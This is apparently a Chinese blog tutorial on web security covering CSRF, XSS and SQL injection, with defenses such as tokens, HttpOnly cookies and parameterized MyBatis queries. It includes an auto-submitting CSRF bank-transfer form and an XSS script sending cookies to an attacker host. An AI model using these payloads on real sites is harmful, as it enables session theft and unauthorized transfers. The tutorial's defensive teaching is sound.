web安全

最新推荐文章于 2024-08-05 20:40:23 发布

你赖东东不错嘛~

最新推荐文章于 2024-08-05 20:40:23 发布

阅读量362

点赞数

CSRF攻击。

跨站请求伪造：简单理解，攻击者盗用了他人身份，发送恶意请求。

从上图可以看出，要完成一次CSRF攻击，受害者必须依次完成两个步骤：

1.登录受信任网站A，并在本地生成Cookie。

2.在不登出A的情况下，访问危险网站B。（B网站可以返回一个立即请求A网站的连接a，本来A网站需要用户登录才能响应链接a的请求，但由于用户之前登录过网站A，所以再次访问会带上上次登录的cookie信息，因此对链接a的操作会正常执行）

具体示例

eg.1 用户先登录A，再访问B，B返回的html直接以GET请求A网站的受保护链接。若A后台可以以GET请求响应，CSRF攻击成功。

银行网站A，它以GET请求来完成银行转账的操作，如：http://www.mybank.com/Transfer.php?toBankId=11&money=1000

　　危险网站B，它里面有一段HTML的代码如下：

　　首先，你登录了银行网站A，然后访问危险网站B，噢，这时你会发现你的银行账户少了1000块......

　　为什么会这样呢？原因是银行网站A违反了HTTP规范，使用GET请求更新资源。在访问危险网站B的之前，你已经登录了银行网站A，而B中的<img>以GET的方式请求第三方资源（这里的第三方就是指银行网站了，原本这是一个合法的请求，但这里被不法分子利用了），所以你的浏览器会带上你的银行网站A的Cookie发出Get请求，去获取资源“http://www.mybank.com/Transfer.php?toBankId=11&money=1000”，结果银行网站服务器收到请求后，认为这是一个更新资源操作（转账操作），所以就立刻进行转账操作。

eg.2 由于eg.1等情况，A后台限制只接受POST方式的a请求。攻击者B可以返回一段自执行的表达提交html进行CSRF攻击。注：表达提交不存在跨域问题。

<html>
　　<head>
　　　　<script type="text/javascript">
　　　　　　function steal()
　　　　　　{
          　　　　 $("#submit").click();
　　　　　　}
　　　　</script>
　　</head>

　　<body onload="steal()">
　　　　　　<form method="POST" name="transfer"　action="http://www.myBank.com/Transfer.php">
　　　　　　　　<input type="hidden" name="toBankId" value="11"／>
　　　　　　　　<input type="hidden" name="money" value="1000"／>
             <input id="submit" type="submit"／>
　　　　　　</form>
　　</body>
</html>

防CRFS攻击：

1、refer（请求来源）。服务端只接受refer是本网站的请求。（refer可被伪造，可被用户禁止）

2、在请求地址中加随机token，并在服务端对token进行验证。黑客无法伪造

转：

https://blog.csdn.net/stpeace/article/details/53512283

https://www.cnblogs.com/wangyuyu/p/3388169.html

XSS攻击。

通过构造特殊数据，在用户浏览器上执行特定脚本，从而造成危害。例如在输入中输入一些非法的js代码、html标签，网站在将用户输入取出返回浏览器时，浏览器就会自动执行这些代码。

还可以通过该方式插入盗取cookie的代码。

<script>
    var Str=document.cookie;               //获取cookie
    var a =document.createElement('a');        //创建a标签
    a.src='http://www.linuxtest.com/test2.php?'+Str;   //攻击者主机，src不存在跨域问题
    document.body.appendChild(a);              //将标签添加到页面中
</script>

解决：服务端对用户的输入进行过滤。

此外，通过设置Cookie的"HttpOnly"属性，那么通过js将无法读取到Cookie信息，这样能有效的防止XSS攻击。

SQL注入

就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串，最终达到欺骗服务器执行恶意的SQL命令。（drop table或者or 1=1等）

解决：(SQL只能对编译过程起作用)

使用参数化的SQL

1、JDBC中可以使用PreparedStatement，PreparedStatement会对sql进行预编译，sql的结构将不会因为参数而发生变化，再在占位符处(?)设置真实参数，并会对参数进行转义，参数不会被当作sql的来处理。

2、在编写MyBatis的映射语句时，尽量采用“#{xxx}”这样的格式。若不得不使用“${xxx}”这样的参数，要手工地做好过滤工作，来防止SQL注入攻击

#{}：底层使用PreparedStatement实现，会解析为一个JDBC预编译语句的参数标记符; 简单来说就是在你使用#{}的地方替换成一个参数占位符’?’

${}：mybatis没有使用预编译语句，${}不会被替换成占位符，${}会被当作字符串拼接到sql中，它会先进行字符串拼接再执行编译，这个过程正是SQL注入生效的过程。

个人猜想，一个同时使用#{}和${}的sql，mybatis会将${}本身的值拼接到sql，然后再对sql进行编译，将？替换成#{}。order by不能使用#{}。mybatis会根据#{}对应的jdbc类型进行一定处理，对varchar类型会加上引号，而数值类型不会。

https://www.cnblogs.com/heyonggang/archive/2016/10/12/5953070.html

你赖东东不错嘛~

关注

0
点赞
踩
0

收藏

觉得还不错? 一键收藏
0
评论
web安全

CSRF攻击。跨站请求伪造：简单理解，攻击者盗用了他人身份，发送恶意请求。从上图可以看出，要完成一次CSRF攻击，受害者必须依次完成两个步骤：1.登录受信任网站A，并在本地生成Cookie。2.在不登出A的情况下，访问危险网站B。（B网站可以返回一个立即请求A网站的连接a，本来A网站需要用户登录才能响应链接a的请求，但由于用户之前登录过网站A，所以再次访问会带上上次登录的coo...
复制链接

扫一扫